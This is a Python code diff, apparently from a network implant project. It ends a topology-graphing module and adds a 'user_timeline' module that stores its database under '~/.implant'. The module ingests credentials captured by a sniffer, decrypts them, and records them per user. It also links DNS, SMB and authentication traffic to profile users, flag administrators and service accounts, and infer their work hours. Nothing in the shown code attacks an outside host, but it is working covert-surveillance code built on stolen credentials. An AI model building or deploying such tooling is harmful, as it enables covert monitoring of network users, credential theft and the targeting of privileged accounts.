edges_ser = {}
|
||||
for (src, dst), edge in self._edges.items():
|
||||
key = f"{src}|{dst}"
|
||||
edges_ser[key] = {
|
||||
"protocols": list(edge.get("protocols", set())),
|
||||
"bytes_total": edge.get("bytes_total", 0),
|
||||
"conn_count": edge.get("conn_count", 0),
|
||||
}
|
||||
|
||||
self.state.set(self.name, "nodes", json.dumps(nodes_ser))
|
||||
self.state.set(self.name, "edges", json.dumps(edges_ser))
|
||||
self.state.set(self.name, "vlans", json.dumps(self._vlans))
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# DOT / SVG generation
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def generate_dot(self) -> str:
|
||||
"""Generate Graphviz DOT representation of the network topology."""
|
||||
lines = [
|
||||
"digraph SystemMonitorTopology {",
|
||||
' rankdir=LR;',
|
||||
' bgcolor="#1a1a2e";',
|
||||
' node [style=filled, fontcolor=white, fontname="Courier"];',
|
||||
' edge [fontname="Courier", fontsize=9];',
|
||||
"",
|
||||
]
|
||||
|
||||
# Group nodes by VLAN
|
||||
vlan_groups = defaultdict(list)
|
||||
no_vlan = []
|
||||
|
||||
with self._lock:
|
||||
for ip, node in self._nodes.items():
|
||||
vlan = node.get("vlan")
|
||||
if vlan is not None:
|
||||
vlan_groups[vlan].append((ip, node))
|
||||
else:
|
||||
no_vlan.append((ip, node))
|
||||
|
||||
# VLAN subgraphs
|
||||
for vlan_id, members in sorted(vlan_groups.items()):
|
||||
vlan_info = self._vlans.get(vlan_id, {})
|
||||
vlan_label = vlan_info.get("name", f"VLAN {vlan_id}")
|
||||
subnet = vlan_info.get("subnet", "")
|
||||
label = f"{vlan_label}"
|
||||
if subnet:
|
||||
label += f"\\n{subnet}"
|
||||
|
||||
lines.append(f" subgraph cluster_vlan{vlan_id} {{")
|
||||
lines.append(f' label="{label}";')
|
||||
lines.append(' style=dashed;')
|
||||
lines.append(' color="#666666";')
|
||||
lines.append(' fontcolor="#aaaaaa";')
|
||||
|
||||
for ip, node in members:
|
||||
lines.append(f" {self._node_dot(ip, node)}")
|
||||
lines.append(" }")
|
||||
lines.append("")
|
||||
|
||||
# Ungrouped nodes
|
||||
for ip, node in no_vlan:
|
||||
lines.append(f" {self._node_dot(ip, node)}")
|
||||
|
||||
lines.append("")
|
||||
|
||||
# Edges
|
||||
for (src, dst), edge in self._edges.items():
|
||||
protos = ", ".join(sorted(edge.get("protocols", set())))
|
||||
count = edge.get("conn_count", 0)
|
||||
# Thicker line for higher traffic
|
||||
penwidth = min(1.0 + (count / 100.0), 5.0)
|
||||
# Color by primary protocol
|
||||
primary_proto = next(iter(edge.get("protocols", {"tcp"})), "tcp")
|
||||
color = _PROTO_COLORS.get(primary_proto, "#666666")
|
||||
|
||||
label = protos
|
||||
if count > 10:
|
||||
label += f"\\n({count})"
|
||||
|
||||
src_id = self._sanitize_id(src)
|
||||
dst_id = self._sanitize_id(dst)
|
||||
lines.append(
|
||||
f' {src_id} -> {dst_id} '
|
||||
f'[label="{label}", color="{color}", '
|
||||
f'penwidth={penwidth:.1f}];'
|
||||
)
|
||||
|
||||
lines.append("}")
|
||||
return "\n".join(lines)
|
||||
|
||||
def _node_dot(self, ip: str, node: dict) -> str:
|
||||
"""Generate DOT for a single node."""
|
||||
os_family = node.get("os_family", "unknown")
|
||||
role = node.get("role", "unknown")
|
||||
hostname = node.get("hostname", "")
|
||||
color = _OS_COLORS.get(os_family, _OS_COLORS["unknown"])
|
||||
shape = _ROLE_SHAPES.get(role, _ROLE_SHAPES["unknown"])
|
||||
|
||||
label = ip
|
||||
if hostname:
|
||||
label = f"{hostname}\\n{ip}"
|
||||
|
||||
ports = node.get("open_ports", set())
|
||||
if ports:
|
||||
port_str = ", ".join(str(p) for p in sorted(ports)[:8])
|
||||
if len(ports) > 8:
|
||||
port_str += f" (+{len(ports) - 8})"
|
||||
label += f"\\n[{port_str}]"
|
||||
|
||||
node_id = self._sanitize_id(ip)
|
||||
return (
|
||||
f'{node_id} [label="{label}", shape={shape}, '
|
||||
f'fillcolor="{color}", tooltip="{os_family}/{role}"];'
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _sanitize_id(ip: str) -> str:
|
||||
"""Convert IP to valid DOT node ID."""
|
||||
return "n_" + ip.replace(".", "_").replace(":", "_")
|
||||
|
||||
def generate_svg(self, output_path: str = None) -> Optional[str]:
|
||||
"""Generate SVG from the DOT graph (requires graphviz installed).
|
||||
|
||||
Args:
|
||||
output_path: Path to write SVG file. If None, returns SVG as string.
|
||||
|
||||
Returns:
|
||||
SVG string if output_path is None, else the output path.
|
||||
"""
|
||||
dot = self.generate_dot()
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["dot", "-Tsvg"],
|
||||
input=dot.encode(),
|
||||
capture_output=True,
|
||||
timeout=30,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
logger.error("Graphviz dot failed: %s", result.stderr.decode())
|
||||
return None
|
||||
|
||||
svg = result.stdout.decode()
|
||||
|
||||
if output_path:
|
||||
with open(output_path, "w") as f:
|
||||
f.write(svg)
|
||||
return output_path
|
||||
return svg
|
||||
|
||||
except FileNotFoundError:
|
||||
logger.warning("Graphviz not installed — SVG generation unavailable")
|
||||
return None
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.error("Graphviz timed out generating SVG")
|
||||
return None
|
||||
|
||||
def get_topology_summary(self) -> dict:
|
||||
"""Return a summary of the current network topology."""
|
||||
with self._lock:
|
||||
roles = defaultdict(int)
|
||||
os_families = defaultdict(int)
|
||||
for node in self._nodes.values():
|
||||
roles[node.get("role", "unknown")] += 1
|
||||
os_families[node.get("os_family", "unknown")] += 1
|
||||
|
||||
protocols_seen = set()
|
||||
for edge in self._edges.values():
|
||||
protocols_seen.update(edge.get("protocols", set()))
|
||||
|
||||
return {
|
||||
"total_nodes": len(self._nodes),
|
||||
"total_edges": len(self._edges),
|
||||
"total_vlans": len(self._vlans),
|
||||
"by_role": dict(roles),
|
||||
"by_os": dict(os_families),
|
||||
"protocols": sorted(protocols_seen),
|
||||
"vlan_ids": sorted(self._vlans.keys()),
|
||||
}
|
||||
@@ -0,0 +1,587 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Per-user activity timeline — aggregates login events, service access,
|
||||
file operations, and web activity into chronological user profiles.
|
||||
|
||||
Ingests data from dns_logger, auth_flow_tracker, smb_monitor, and
|
||||
credential_sniffer via the event bus and periodic state queries.
|
||||
Identifies work hours, admin activity windows, and service account behavior.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import sqlite3
|
||||
import threading
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_SCHEMA = """
|
||||
CREATE TABLE IF NOT EXISTS user_events (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
username TEXT NOT NULL,
|
||||
domain TEXT DEFAULT '',
|
||||
event_type TEXT NOT NULL,
|
||||
source_ip TEXT,
|
||||
target_ip TEXT,
|
||||
service TEXT,
|
||||
detail TEXT DEFAULT '',
|
||||
source_module TEXT DEFAULT ''
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_ue_user ON user_events(username);
|
||||
CREATE INDEX IF NOT EXISTS idx_ue_ts ON user_events(timestamp);
|
||||
CREATE INDEX IF NOT EXISTS idx_ue_type ON user_events(event_type);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS user_profiles (
|
||||
username TEXT PRIMARY KEY,
|
||||
domain TEXT DEFAULT '',
|
||||
first_seen REAL,
|
||||
last_seen REAL,
|
||||
event_count INTEGER DEFAULT 0,
|
||||
is_admin INTEGER DEFAULT 0,
|
||||
is_service_acct INTEGER DEFAULT 0,
|
||||
typical_hours TEXT DEFAULT '',
|
||||
workstations TEXT DEFAULT '',
|
||||
services_used TEXT DEFAULT '',
|
||||
notes TEXT DEFAULT ''
|
||||
);
|
||||
"""
|
||||
|
||||
# Event types
|
||||
EVENT_LOGIN = "login"
|
||||
EVENT_LOGOUT = "logout"
|
||||
EVENT_AUTH_FAIL = "auth_fail"
|
||||
EVENT_SERVICE_ACCESS = "service_access"
|
||||
EVENT_FILE_ACCESS = "file_access"
|
||||
EVENT_WEB_BROWSE = "web_browse"
|
||||
EVENT_ADMIN_ACTION = "admin_action"
|
||||
EVENT_CRED_CAPTURED = "cred_captured"
|
||||
|
||||
# Admin indicators: services or patterns that suggest admin activity
|
||||
_ADMIN_SERVICES = {
|
||||
"rdp", "ssh", "winrm", "wmi", "psremoting", "dcom",
|
||||
"ldap", "kerberos", "smb_admin", "rpc",
|
||||
}
|
||||
|
||||
_ADMIN_USERNAMES = {
|
||||
"administrator", "admin", "root", "domain admin",
|
||||
}
|
||||
|
||||
# Service account patterns
|
||||
_SVC_PATTERNS = (
|
||||
"svc_", "svc-", "service_", "sa_", "task_", "app_",
|
||||
"sql_", "iis_", "backup_", "scan_", "nessus", "splunk",
|
||||
"crowdstrike", "sccm", "wsus",
|
||||
)
|
||||
|
||||
|
||||
class UserTimeline(BaseModule):
|
||||
"""Build per-user activity timelines from network observation data."""
|
||||
|
||||
name = "user_timeline"
|
||||
module_type = "intel"
|
||||
priority = 200
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._db_path = ""
|
||||
self._conn: Optional[sqlite3.Connection] = None
|
||||
self._lock = threading.Lock()
|
||||
self._ingest_thread: Optional[threading.Thread] = None
|
||||
self._event_count = 0
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "user_timeline.db")
|
||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||
|
||||
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
self._conn.executescript(_SCHEMA)
|
||||
|
||||
# Subscribe to credential and host events for user correlation
|
||||
self.bus.subscribe(self._on_credential_found, "CREDENTIAL_FOUND")
|
||||
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
# Periodic ingestion from other module state
|
||||
self._ingest_thread = threading.Thread(
|
||||
target=self._periodic_ingest, daemon=True,
|
||||
name="sensor-user-timeline-ingest",
|
||||
)
|
||||
self._ingest_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("UserTimeline started — db=%s", self._db_path)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_credential_found, "CREDENTIAL_FOUND")
|
||||
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
|
||||
if self._conn:
|
||||
self._conn.close()
|
||||
self._conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("UserTimeline stopped — %d events recorded", self._event_count)
|
||||
|
||||
def status(self) -> dict:
|
||||
user_count = 0
|
||||
if self._conn:
|
||||
try:
|
||||
with self._lock:
|
||||
row = self._conn.execute(
|
||||
"SELECT COUNT(DISTINCT username) FROM user_events"
|
||||
).fetchone()
|
||||
user_count = row[0] if row else 0
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"total_events": self._event_count,
|
||||
"tracked_users": user_count,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_credential_found(self, event) -> None:
|
||||
"""Record credential capture as a user event."""
|
||||
p = event.payload
|
||||
from utils.credential_encryption import decrypt_credential_payload
|
||||
p = decrypt_credential_payload(p)
|
||||
username = p.get("username", "")
|
||||
if not username:
|
||||
return
|
||||
|
||||
self._record_event(
|
||||
username=username,
|
||||
domain=p.get("domain", ""),
|
||||
event_type=EVENT_CRED_CAPTURED,
|
||||
source_ip=p.get("source_ip", ""),
|
||||
target_ip=p.get("target_ip", ""),
|
||||
service=p.get("service", ""),
|
||||
detail=f"Type: {p.get('cred_type', 'unknown')}",
|
||||
source_module=event.source_module,
|
||||
)
|
||||
|
||||
def _on_host_discovered(self, event) -> None:
|
||||
"""Check for user information in host discovery data."""
|
||||
p = event.payload
|
||||
# Some host discovery may include logged-in user information
|
||||
username = p.get("logged_in_user", "")
|
||||
if username:
|
||||
self._record_event(
|
||||
username=username,
|
||||
domain=p.get("domain", ""),
|
||||
event_type=EVENT_LOGIN,
|
||||
source_ip=p.get("ip", ""),
|
||||
target_ip="",
|
||||
service="workstation",
|
||||
detail=f"Active on {p.get('hostname', p.get('ip', ''))}",
|
||||
source_module=event.source_module,
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event recording
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _record_event(self, username: str, domain: str, event_type: str,
|
||||
source_ip: str = "", target_ip: str = "",
|
||||
service: str = "", detail: str = "",
|
||||
source_module: str = "",
|
||||
timestamp: float = None) -> None:
|
||||
"""Record a user activity event."""
|
||||
if not username:
|
||||
return
|
||||
|
||||
ts = timestamp or time.time()
|
||||
self._event_count += 1
|
||||
|
||||
with self._lock:
|
||||
try:
|
||||
self._conn.execute(
|
||||
"""INSERT INTO user_events
|
||||
(timestamp, username, domain, event_type, source_ip,
|
||||
target_ip, service, detail, source_module)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)""",
|
||||
(ts, username, domain, event_type, source_ip,
|
||||
target_ip, service, detail, source_module),
|
||||
)
|
||||
|
||||
# Update user profile
|
||||
is_admin = 1 if (
|
||||
service.lower() in _ADMIN_SERVICES
|
||||
or username.lower() in _ADMIN_USERNAMES
|
||||
or event_type == EVENT_ADMIN_ACTION
|
||||
) else 0
|
||||
|
||||
is_svc = 1 if any(
|
||||
username.lower().startswith(p) for p in _SVC_PATTERNS
|
||||
) else 0
|
||||
|
||||
self._conn.execute(
|
||||
"""INSERT INTO user_profiles
|
||||
(username, domain, first_seen, last_seen, event_count,
|
||||
is_admin, is_service_acct)
|
||||
VALUES (?, ?, ?, ?, 1, ?, ?)
|
||||
ON CONFLICT(username) DO UPDATE SET
|
||||
last_seen = MAX(excluded.last_seen, user_profiles.last_seen),
|
||||
event_count = user_profiles.event_count + 1,
|
||||
is_admin = MAX(excluded.is_admin, user_profiles.is_admin),
|
||||
is_service_acct = MAX(excluded.is_service_acct, user_profiles.is_service_acct)
|
||||
""",
|
||||
(username, domain, ts, ts, is_admin, is_svc),
|
||||
)
|
||||
|
||||
self._conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to record user event for %s", username)
|
||||
|
||||
def ingest_auth_event(self, username: str, domain: str, source_ip: str,
|
||||
target_ip: str, service: str, success: bool,
|
||||
timestamp: float = None) -> None:
|
||||
"""Ingest an authentication event from external modules."""
|
||||
event_type = EVENT_LOGIN if success else EVENT_AUTH_FAIL
|
||||
detail = "success" if success else "failure"
|
||||
self._record_event(
|
||||
username=username, domain=domain, event_type=event_type,
|
||||
source_ip=source_ip, target_ip=target_ip, service=service,
|
||||
detail=detail, source_module="auth_flow_tracker",
|
||||
timestamp=timestamp,
|
||||
)
|
||||
|
||||
def ingest_file_access(self, username: str, source_ip: str,
|
||||
file_path: str, action: str = "read",
|
||||
timestamp: float = None) -> None:
|
||||
"""Ingest a file access event (from smb_monitor)."""
|
||||
self._record_event(
|
||||
username=username, domain="", event_type=EVENT_FILE_ACCESS,
|
||||
source_ip=source_ip, target_ip="", service="smb",
|
||||
detail=f"{action}: {file_path}",
|
||||
source_module="smb_monitor", timestamp=timestamp,
|
||||
)
|
||||
|
||||
def ingest_web_activity(self, source_ip: str, domain: str,
|
||||
url: str = "", timestamp: float = None) -> None:
|
||||
"""Ingest web browsing activity (correlated to user by IP)."""
|
||||
# Look up username by source_ip from recent events
|
||||
username = self._resolve_user_by_ip(source_ip)
|
||||
if not username:
|
||||
username = f"host:{source_ip}"
|
||||
|
||||
self._record_event(
|
||||
username=username, domain="", event_type=EVENT_WEB_BROWSE,
|
||||
source_ip=source_ip, target_ip="", service="web",
|
||||
detail=url or domain,
|
||||
source_module="dns_logger", timestamp=timestamp,
|
||||
)
|
||||
|
||||
def _resolve_user_by_ip(self, ip: str) -> str:
|
||||
"""Try to resolve a username from a source IP using recent login events."""
|
||||
with self._lock:
|
||||
try:
|
||||
row = self._conn.execute(
|
||||
"""SELECT username FROM user_events
|
||||
WHERE source_ip = ? AND event_type = ?
|
||||
ORDER BY timestamp DESC LIMIT 1""",
|
||||
(ip, EVENT_LOGIN),
|
||||
).fetchone()
|
||||
return row["username"] if row else ""
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Periodic state ingestion
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _periodic_ingest(self) -> None:
|
||||
"""Periodically pull data from other module state stores."""
|
||||
interval = self.config.get("timeline_ingest_interval", 120)
|
||||
while self._running:
|
||||
time.sleep(interval)
|
||||
try:
|
||||
self._ingest_from_auth_tracker()
|
||||
self._ingest_from_smb_monitor()
|
||||
self._ingest_from_dns_logger()
|
||||
self._update_user_profiles()
|
||||
except Exception:
|
||||
logger.exception("Periodic user timeline ingest failed")
|
||||
|
||||
def _ingest_from_auth_tracker(self) -> None:
|
||||
"""Pull authentication events from auth_flow_tracker state."""
|
||||
last_ts = self.state.get(self.name, "auth_tracker_last_ts")
|
||||
last_ts = float(last_ts) if last_ts else 0
|
||||
|
||||
auth_json = self.state.get("auth_flow_tracker", "recent_events")
|
||||
if not auth_json:
|
||||
return
|
||||
|
||||
try:
|
||||
events = json.loads(auth_json)
|
||||
for evt in events:
|
||||
ts = evt.get("timestamp", 0)
|
||||
if ts <= last_ts:
|
||||
continue
|
||||
self.ingest_auth_event(
|
||||
username=evt.get("username", ""),
|
||||
domain=evt.get("domain", ""),
|
||||
source_ip=evt.get("source_ip", ""),
|
||||
target_ip=evt.get("target_ip", ""),
|
||||
service=evt.get("service", ""),
|
||||
success=evt.get("success", True),
|
||||
timestamp=ts,
|
||||
)
|
||||
last_ts = max(last_ts, ts)
|
||||
|
||||
self.state.set(self.name, "auth_tracker_last_ts", str(last_ts))
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
def _ingest_from_smb_monitor(self) -> None:
|
||||
"""Pull SMB file access events from smb_monitor state."""
|
||||
last_ts = self.state.get(self.name, "smb_monitor_last_ts")
|
||||
last_ts = float(last_ts) if last_ts else 0
|
||||
|
||||
smb_json = self.state.get("smb_monitor", "recent_file_ops")
|
||||
if not smb_json:
|
||||
return
|
||||
|
||||
try:
|
||||
events = json.loads(smb_json)
|
||||
for evt in events:
|
||||
ts = evt.get("timestamp", 0)
|
||||
if ts <= last_ts:
|
||||
continue
|
||||
self.ingest_file_access(
|
||||
username=evt.get("username", ""),
|
||||
source_ip=evt.get("source_ip", ""),
|
||||
file_path=evt.get("path", ""),
|
||||
action=evt.get("action", "read"),
|
||||
timestamp=ts,
|
||||
)
|
||||
last_ts = max(last_ts, ts)
|
||||
|
||||
self.state.set(self.name, "smb_monitor_last_ts", str(last_ts))
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
def _ingest_from_dns_logger(self) -> None:
|
||||
"""Pull DNS query data for web activity correlation."""
|
||||
last_ts = self.state.get(self.name, "dns_logger_last_ts")
|
||||
last_ts = float(last_ts) if last_ts else 0
|
||||
|
||||
dns_json = self.state.get("dns_logger", "recent_queries")
|
||||
if not dns_json:
|
||||
return
|
||||
|
||||
try:
|
||||
queries = json.loads(dns_json)
|
||||
for q in queries:
|
||||
ts = q.get("timestamp", 0)
|
||||
if ts <= last_ts:
|
||||
continue
|
||||
self.ingest_web_activity(
|
||||
source_ip=q.get("client_ip", ""),
|
||||
domain=q.get("query_name", ""),
|
||||
timestamp=ts,
|
||||
)
|
||||
last_ts = max(last_ts, ts)
|
||||
|
||||
self.state.set(self.name, "dns_logger_last_ts", str(last_ts))
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
def _update_user_profiles(self) -> None:
|
||||
"""Refresh computed fields on user profiles (work hours, workstations, etc)."""
|
||||
with self._lock:
|
||||
try:
|
||||
users = self._conn.execute(
|
||||
"SELECT DISTINCT username FROM user_events"
|
||||
).fetchall()
|
||||
|
||||
for (username,) in users:
|
||||
# Compute typical hours
|
||||
rows = self._conn.execute(
|
||||
"""SELECT timestamp FROM user_events
|
||||
WHERE username = ?""",
|
||||
(username,),
|
||||
).fetchall()
|
||||
|
||||
hours = defaultdict(int)
|
||||
for (ts,) in rows:
|
||||
hour = time.localtime(ts).tm_hour
|
||||
hours[hour] += 1
|
||||
|
||||
# Top active hours (>10% of activity)
|
||||
total = sum(hours.values())
|
||||
if total > 0:
|
||||
typical = sorted(
|
||||
[h for h, c in hours.items() if c / total > 0.1]
|
||||
)
|
||||
else:
|
||||
typical = []
|
||||
|
||||
# Workstations (source IPs used for login)
|
||||
ws_rows = self._conn.execute(
|
||||
"""SELECT DISTINCT source_ip FROM user_events
|
||||
WHERE username = ? AND event_type = ? AND source_ip != ''""",
|
||||
(username, EVENT_LOGIN),
|
||||
).fetchall()
|
||||
workstations = [r[0] for r in ws_rows]
|
||||
|
||||
# Services used
|
||||
svc_rows = self._conn.execute(
|
||||
"""SELECT DISTINCT service FROM user_events
|
||||
WHERE username = ? AND service != ''""",
|
||||
(username,),
|
||||
).fetchall()
|
||||
services = [r[0] for r in svc_rows]
|
||||
|
||||
self._conn.execute(
|
||||
"""UPDATE user_profiles
|
||||
SET typical_hours = ?, workstations = ?, services_used = ?
|
||||
WHERE username = ?""",
|
||||
(json.dumps(typical), json.dumps(workstations),
|
||||
json.dumps(services), username),
|
||||
)
|
||||
|
||||
self._conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to update user profiles")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Query interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_timeline(self, username: str, limit: int = 200,
|
||||
since: float = 0) -> list:
|
||||
"""Get chronological activity timeline for a user."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM user_events
|
||||
WHERE username = ? AND timestamp > ?
|
||||
ORDER BY timestamp DESC LIMIT ?""",
|
||||
(username, since, limit),
|
||||
).fetchall()
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def get_active_users(self, hours: float = 1.0) -> list:
|
||||
"""Get users active within the given time window."""
|
||||
since = time.time() - (hours * 3600)
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT username, domain, COUNT(*) as event_count,
|
||||
MAX(timestamp) as last_active
|
||||
FROM user_events
|
||||
WHERE timestamp > ?
|
||||
GROUP BY username
|
||||
ORDER BY last_active DESC""",
|
||||
(since,),
|
||||
).fetchall()
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def get_admin_users(self) -> list:
|
||||
"""Get all users identified as having admin privileges."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM user_profiles
|
||||
WHERE is_admin = 1
|
||||
ORDER BY last_seen DESC"""
|
||||
).fetchall()
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def get_service_accounts(self) -> list:
|
||||
"""Get all detected service accounts."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM user_profiles
|
||||
WHERE is_service_acct = 1
|
||||
ORDER BY event_count DESC"""
|
||||
).fetchall()
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def get_user_profile(self, username: str) -> Optional[dict]:
|
||||
"""Get computed profile for a user."""
|
||||
with self._lock:
|
||||
row = self._conn.execute(
|
||||
"SELECT * FROM user_profiles WHERE username = ?",
|
||||
(username,),
|
||||
).fetchone()
|
||||
|
||||
if not row:
|
||||
return None
|
||||
|
||||
profile = dict(row)
|
||||
# Parse JSON fields
|
||||
for field in ("typical_hours", "workstations", "services_used"):
|
||||
try:
|
||||
profile[field] = json.loads(profile.get(field, "[]"))
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
profile[field] = []
|
||||
|
||||
return profile
|
||||
|
||||
def get_user_work_hours(self, username: str) -> dict:
|
||||
"""Analyze and return a user's typical work hours."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT timestamp FROM user_events
|
||||
WHERE username = ?""",
|
||||
(username,),
|
||||
).fetchall()
|
||||
|
||||
if not rows:
|
||||
return {"username": username, "hours": {}, "typical_start": None, "typical_end": None}
|
||||
|
||||
hours = defaultdict(int)
|
||||
for (ts,) in rows:
|
||||
hour = time.localtime(ts).tm_hour
|
||||
hours[hour] += 1
|
||||
|
||||
total = sum(hours.values())
|
||||
active_hours = sorted([h for h, c in hours.items() if c / total > 0.05])
|
||||
|
||||
return {
|
||||
"username": username,
|
||||
"hours": dict(hours),
|
||||
"active_hours": active_hours,
|
||||
"typical_start": active_hours[0] if active_hours else None,
|
||||
"typical_end": active_hours[-1] if active_hours else None,
|
||||
"total_events": total,
|
||||
}
|
||||
Reference in New Issue
Block a user